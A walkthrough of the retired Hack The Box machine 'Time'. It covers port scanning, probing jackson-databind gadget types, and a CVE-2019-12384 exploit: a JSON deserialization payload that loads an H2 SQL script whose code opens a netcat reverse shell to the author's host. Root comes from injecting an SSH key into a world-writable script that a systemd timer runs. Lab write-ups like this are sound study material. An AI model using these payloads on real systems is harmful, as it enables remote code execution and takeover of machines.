This post documents the complete walkthrough of Time, a retired vulnerable VM created by egotisticalSW and felamos, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Time is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.214 --rate=1000

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-10-26 05:29:46 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 10.10.10.214
Discovered open port 22/tcp on 10.10.10.214

Nothing unusual with the ports. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,80 -A --reason 10.10.10.214 -oN nmap.txt
...
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser

Interesting. I guess the only way to foothold is via the http service. This is what it looks like.

jackson-databind Remote Code Execution (RCE)

As you can see from above, there are two functions associated with the site: Beautify and Validate. Beautify simply prettify standard JSON input like so.

What happen when you supply the same JSON input to Validate? Suppose the JSON input is this:

{"what is love": "baby don't hurt me"}

You get an exception!

Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

Hmm. Appears to be some kind of deserialization flaw to me. A quick research into jackson-databind reveals plenty of CVEs of gadget types that could trigger a RCE. The author of jackson-databind (@cowtowncoder) even maintains a blocklist of gadget types that aims to prevent the deserialization from taking place. Cat-and-mouse game eh?

Heck. I know the JSON validation service is vulnerable but which CVE is it?

CVE-2019-12384 - logback-core

From the blocklist implementation, we can extract out the gadget types and validate them against the validation service (no pun intended). :laughing:

This is how to extract the types. Save it to gadgets.txt.

# grep -E 's.add' SubTypeValidator.java \
| sed -r 's/s.add\("(.*)"\).*/\1/' \
| tr -d '/ ' \
| sort \
| uniq > gadgets.txt

This is the validation script.

validate.sh
#!/bin/bash

function check() {
    GADGET=$1
    printf "%-67s: " "${GADGET}"
    MSG=$(curl -s \
               -d "mode=2" \
               --data-urlencode "data=[\"${GADGET}\", {\"\":\"\"}]" \
               http://10.10.10.214 \
               | grep 'Validation' \
               | sed -e 's/<pre>//g' -e 's/<\/pre>//g' \
               | awk -F':' '{ print $NF }')
    echo $MSG | tr -d '])'
}

export -f check

check $1

Let’s give the script a shot.

# for g in $(cat gadgets.txt); do ./validate.sh $g; done | tee validation.txt
br.com.anteros.dbcp.AnterosDBCPConfig                              : no such class found
br.com.anteros.dbcp.AnterosDBCPDataSource                          : no such class found
ch.qos.logback.core.db.DriverManagerConnectionSource               : "driverClass", "started", "user", "context", "password", "url"
ch.qos.logback.core.db.JNDIConnectionSource                        : "started", "user", "jndiLocation", "context", "password"
com.caucho.config.types.ResourceRef                                : no such class found
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig      : no such class found
com.mchange.v2.c3p0.JndiRefForwardingDataSource                    : no such class found
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource                : no such class found
com.mysql.cj.jdbc.admin.MiniAdmin                                  : no such class found
com.nqadmin.rowset.JdbcRowSetImpl                                  : no such class found
com.p6spy.engine.spy.P6DataSource                                  : no such class found
com.pastdev.httpcomponents.configuration.JndiConfiguration         : no such class found
com.sun.deploy.security.ruleset.DRSHelper                          : no such class found
com.sun.org.apache.bcel.internal.util.ClassLoader                  : no such class found
com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool       : no such class found
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl         : prevented for security reasons
com.sun.rowset.JdbcRowSetImpl                                      : prevented for security reasons
com.zaxxer.hikari.HikariConfig                                     : no such class found
com.zaxxer.hikari.HikariDataSource                                 : no such class found
flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor      : no such class found
java.rmi.server.UnicastRemoteObject                                : prevented for security reasons
java.util.logging.FileHandler                                      : prevented for security reasons
javax.swing.JEditorPane                                            : An illegal reflective access operation has occurred
javax.swing.JTextPane                                              : An illegal reflective access operation has occurred
jodd.db.connection.DataSourceConnectionProvider                    : no such class found
net.sf.ehcache.hibernate.EhcacheJtaTransactionManagerLookup        : no such class found
net.sf.ehcache.transaction.manager.DefaultTransactionManagerLookup : no such class found
net.sf.ehcache.transaction.manager.selector.GenericJndiSelector    : no such class found
net.sf.ehcache.transaction.manager.selector.GlassfishSelector      : no such class found
oadd.org.apache.xalan.lib.sql.JNDIConnectionPool                   : no such class found
oracle.jdbc.connector.OracleManagedConnectionFactory               : no such class found
oracle.jdbc.rowset.OracleJDBCRowSet                                : no such class found
oracle.jms.AQjmsQueueConnectionFactory                             : no such class found
oracle.jms.AQjmsTopicConnectionFactory                             : no such class found
oracle.jms.AQjmsXAConnectionFactory                                : no such class found
oracle.jms.AQjmsXAQueueConnectionFactory                           : no such class found
oracle.jms.AQjmsXATopicConnectionFactory                           : no such class found
org.aoju.bus.proxy.provider.remoting.RmiProvider                   : no such class found
org.aoju.bus.proxy.provider.RmiProvider                            : no such class found
org.apache.activemq.ActiveMQConnectionFactory                      : no such class found
org.apache.activemq.ActiveMQXAConnectionFactory                    : no such class found
org.apache.activemq.jms.pool.JcaPooledConnectionFactory            : no such class found
org.apache.activemq.jms.pool.XaPooledConnectionFactory             : no such class found
org.apache.activemq.pool.JcaPooledConnectionFactory                : no such class found
org.apache.activemq.pool.PooledConnectionFactory                   : no such class found
org.apache.activemq.pool.XaPooledConnectionFactory                 : no such class found
org.apache.activemq.spring.ActiveMQConnectionFactory               : no such class found
org.apache.activemq.spring.ActiveMQXAConnectionFactory             : no such class found
org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory: no such class found
org.apache.aries.transaction.jms.RecoverablePooledConnectionFactory: no such class found
org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl             : no such class found
org.apache.axis2.transport.jms.JMSOutTransportInfo                 : no such class found
org.apache.commons.collections4.functors.InstantiateTransformer    : no such class found
org.apache.commons.collections4.functors.InvokerTransformer        : no such class found
org.apache.commons.collections.functors.InstantiateTransformer     : no such class found
org.apache.commons.collections.functors.InvokerTransformer         : no such class found
org.apache.commons.configuration2.JNDIConfiguration                : no such class found
org.apache.commons.configuration.JNDIConfiguration                 : no such class found
org.apache.commons.dbcp.datasources.PerUserPoolDataSource          : no such class found
org.apache.commons.dbcp.datasources.SharedPoolDataSource           : no such class found
org.apache.commons.jelly.impl.Embedded                             : no such class found
org.apache.commons.proxy.provider.remoting.RmiProvider             : no such class found
org.apache.cxf.jaxrs.provider.XSLTJaxbProvider                     : no such class found
org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig            : no such class found
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory            : no such class found
org.apache.ibatis.parsing.XPathParser                              : no such class found
org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory                : no such class found
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup                 : no such class found
org.apache.log4j.receivers.db.DriverManagerConnectionSource        : no such class found
org.apache.log4j.receivers.db.JNDIConnectionSource                 : no such class found
org.apache.openjpa.ee.JNDIManagedRuntime                           : no such class found
org.apache.openjpa.ee.RegistryManagedRuntime                       : no such class found
org.apache.openjpa.ee.WASRegistryManagedRuntime                    : no such class found
org.apache.shiro.jndi.JndiObjectFactory                            : no such class found
org.apache.shiro.realm.jndi.JndiRealmFactory                       : no such class found
org.apache.tomcat.dbcp.dbcp2.BasicDataSource                       : no such class found
org.apache.xalan.lib.sql.JNDIConnectionPool                        : no such class found
org.apache.xalan.xsltc.trax.TemplatesImpl                          : no such class found
org.apache.xbean.propertyeditor.JndiConverter                      : no such class found
org.arrah.framework.rdbms.UpdatableJdbcRowsetImpl                  : no such class found
org.codehaus.groovy.runtime.ConvertedClosure                       : no such class found
org.codehaus.groovy.runtime.MethodClosure                          : no such class found
org.hibernate.jmx.StatisticsService                                : no such class found
org.jboss.util.propertyeditor.DocumentEditor                       : no such class found
org.jdom2.transform.XSLTransformer                                 : no such class found
org.jdom.transform.XSLTransformer                                  : no such class found
org.jsecurity.realm.jndi.JndiRealmFactory                          : no such class found
org.quartz.utils.JNDIConnectionProvider                            : no such class found
org.slf4j.ext.EventData                                            : no such class found
org.springframework.aop.config.MethodLocatingFactoryBean           : no such class found
org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor : no such class found
org.springframework.beans.factory.config.BeanReferenceFactoryBean  : no such class found
org.springframework.beans.factory.config.PropertyPathFactoryBean   : no such class found
org.springframework.beans.factory.ObjectFactory                    : no such class found

From the script’s output, we know that logback-core is used in the backend of the validation service. There are two CVEs associated with logback-core here: CVE-2019-12384 and CVE-2019-14439. CVE-2019-12384 is the less complicated one and I’ll use it to gain a foothold onto the remote machine.

Foothold

Here’s my game plan:

  1. Host inject.sql with Python 3 http.server module. Edit the payload to run a reverse shell.
inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
  String[] command = {"bash", "-c", cmd};
  java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
  return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('rm -rf /tmp/p; mkfifo /tmp/p; /bin/bash </tmp/p | nc 10.10.14.62 1234 >/tmp/p')
  1. Exploit the validation service with JSON string to trigger the deserialization.

Here’s the JSON exploit string.

[
  "ch.qos.logback.core.db.DriverManagerConnectionSource",
  {
    "url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.62:8000/inject.sql'"
  }
]

If everything goes well, this is what you should get.

Excellent.

Getting user.txt

The file user.txt is at pericles’ home directory.

Privilege Escalation

During enumeration of pericles’ account, I notice a world-writable file at /usr/bin/timer_backup.sh.

On top of that, I also notice a systemd system service web_backup that effectively runs /usr/bin/timer_backup.sh every ten seconds.

web_backup.service
[Unit]
Description=Creates backups of the website

[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
timer_backup.service
[Unit]
Description=Calls website backup
Wants=timer_backup.timer
WantedBy=multi-user.target

[Service]
ExecStart=/usr/bin/systemctl restart web_backup.service
timer_backup.timer
[Unit]
Description=Backup of the website
Requires=timer_backup.service

[Timer]
Unit=timer_backup.service
#OnBootSec=10s
#OnUnitActiveSec=10s
OnUnitInactiveSec=10s
AccuracySec=1ms

[Install]
WantedBy=timers.target

Privilege escalation in this case is extremely easy. Since it’s a system service, /usr/bin/timer_backup.sh is executed as root. Simply inject a SSH private key we control into /usr/bin/timer_backup.sh and call it a day. However, take note that the service runs every ten seconds. We need to act fast and remove any superflous entries in authorized_keys.

Perfect.

Getting root.txt

Getting root.txt is trivial with a root shell.

:dancer: